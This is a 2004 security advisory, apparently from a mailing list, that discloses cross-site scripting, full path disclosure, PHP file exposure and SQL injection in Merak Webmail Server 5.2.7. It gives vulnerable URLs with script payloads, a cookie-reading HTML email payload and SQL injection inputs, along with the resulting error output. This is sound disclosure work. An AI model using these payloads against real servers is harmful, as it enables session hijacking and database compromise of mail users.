[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Vulnerabilities in Merak Webmail Server.

****************************************************************************************************
                                             CRIOLABS
http://www.criolabs.net


- Software:  Merak Webmail Server 
- Type:      Webmail
- Company:   Merak Mail Server, Inc.



****************************************************************************************************



## Software ##

Software:   Merak Webmail Server
Version:    5.2.7
Plataforms: All Windows platforms
Web:        http://www.merakmailserver.com/


## Vendor Description ##

Merak's WebMail Server is used by thousands of companies around the world to 
provide secure (ssl) anytime-anywhere access to home, office or ISP email via a 
browser or WAP-enabled device.

In less than 10 minutes you can have the same professional email server that 
organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. 
Government, and many ISP Providers and Developers depend on every day.



## Vulnerabilities ##

Cross-Site Scripting, Full path disclosure, Exposure of PHP files, 
SQL-Injection. 



## Cross-Site Scripting ##


There are a lot of Input Validation Holes in this soft. An attacker can perform 
an XSS attack and be able to access the target user's cookies.


/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=

/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=

/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]

/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=

/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=

/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext=

/settings.html?autoresponder=1&id=[id]&spage=">[XSS]

/settings.html?autoresponder=">[XSS]&id=[id]&spage=0

/readmail.html?id=[id]&folder=">[XSS]


The next files (attachment.html,calendar.html), can be executed without knowing 
user's session ID number. 


/attachment.html?attachmentpage_text_error=">[XSS]

/calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder=<script>alert()</script>

/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS]

/calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8



Also it is possible to inject a XSS in the message directly, example:

Open your mail and write a new message like this :

#Image 1.jpg

<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline 
border=0><IFRAME src="http://www.google.com";></body> </html> </IFRAME>

Then click on the HTML message checkbox (in order to send it in HTML format) -

#Image 2.jpg and 3.jpg

The XSS will be executed on your browser. If you send the message, the XSS also 
will be executed when the victim read the mail.

#Image 4.jpg


Conclusion: If you send a Content-Type: text/html message with an XSS attack, 
always will be executed when the victim reads the message.

Also you can send the XSS in the Subject. This XSS is executed when the victim 
reply to this is in HTML format.





## Full path disclosure ##

Some variables of adress.html can cause that a remote user may be able to 
determine the installation path.




#Example:


/mail/address.html?id=[id]&sort=criolabs&selectsort=criolabs&global=criolabs&showlite=criolabs&category=criolabs&cserver=&ext=


#Error Example:

Warning: reset(): Passed variable is not an array or object in C:\Archivos de 
programa\Merak\html\mail\address.html on line 565

Warning: Variable passed to each() is not an array or object in C:\Archivos de 
programa\Merak\html\mail\address.html on line 566

Warning: reset(): Passed variable is not an array or object in C:\Archivos de 
programa\Merak\html\mail\inc\function.address.php on line 100

Warning: Variable passed to each() is not an array or object in C:\Archivos de 
programa\Merak\html\mail\inc\function.address.php on line 101





#Example:

/calendar.html?id=6213dcc45fdbccc9af207d32722b93a7&cv=%22criolabs&ct='criolabs&sf='criolabs


#Error Example:

You can see this in the webmail logs:

Warning: mktime(): Windows does not support negative values for this function 
in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 413

Warning: date(): Windows does not support dates prior to midnight (00:00:00), 
January 1, 1970 in C:\Archivos de 
programa\Merak\html\mail\inc\function.calendar.php on line 413

Warning: mktime(): Windows does not support negative values for this function 
in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 417

Warning: mktime(): Windows does not support negative values for this function 
in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 420

Warning: date(): Windows does not support dates prior to midnight (00:00:00), 
January 1, 1970 in C:\Archivos de 
programa\Merak\html\mail\inc\function.calendar.php on line 420

Warning: date(): Windows does not support dates prior to midnight (00:00:00), 
January 1, 1970 in C:\Archivos de 
programa\Merak\html\mail\inc\function.calendar.php on line 350





## Exposure of PHP files ##


The server allows that remote users can download all the files with .php 
extension from the server.


#Example:

http://localhost:32000/mail/inc/function.php
http://localhost:32000/mail/inc/function.view.php



## SQL-Injection ##



There are Sql-Injection problems in calendar, a remote user may be able to 
inject SQL commands.

/calendar.html?id=1'&schedule=[SQL]

You can see in the logs :

DB Calendaring Error 
[Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis (falta operador) en la expresión de consulta 'OWN_Email = 
''[sql]''.


/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=';'&Eid=criolabs'

DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis en la cadena en la expresión de consulta 'EVN_ID = 
'criolabs'''.

DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis en la cadena en la expresión de consulta 'RMNEVN_ID = 
'criolabs'''.

DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis en la cadena en la expresión de consulta 'CNTEVN_ID = 
'criolabs'''.

--    --


## History ##

Vendor Contacted :  Wed, 04 Aug 2004

Thu, 12 Aug 2004 :  New Release of Merak Mail Server 7.5.2



## Solution ##

Download the new release.
http://www.MerakMailServer.com/Download/


## Credits ##

Criolabs staff
http://www.criolabs.net
Ariginal advisory and attachments in Criolabs.net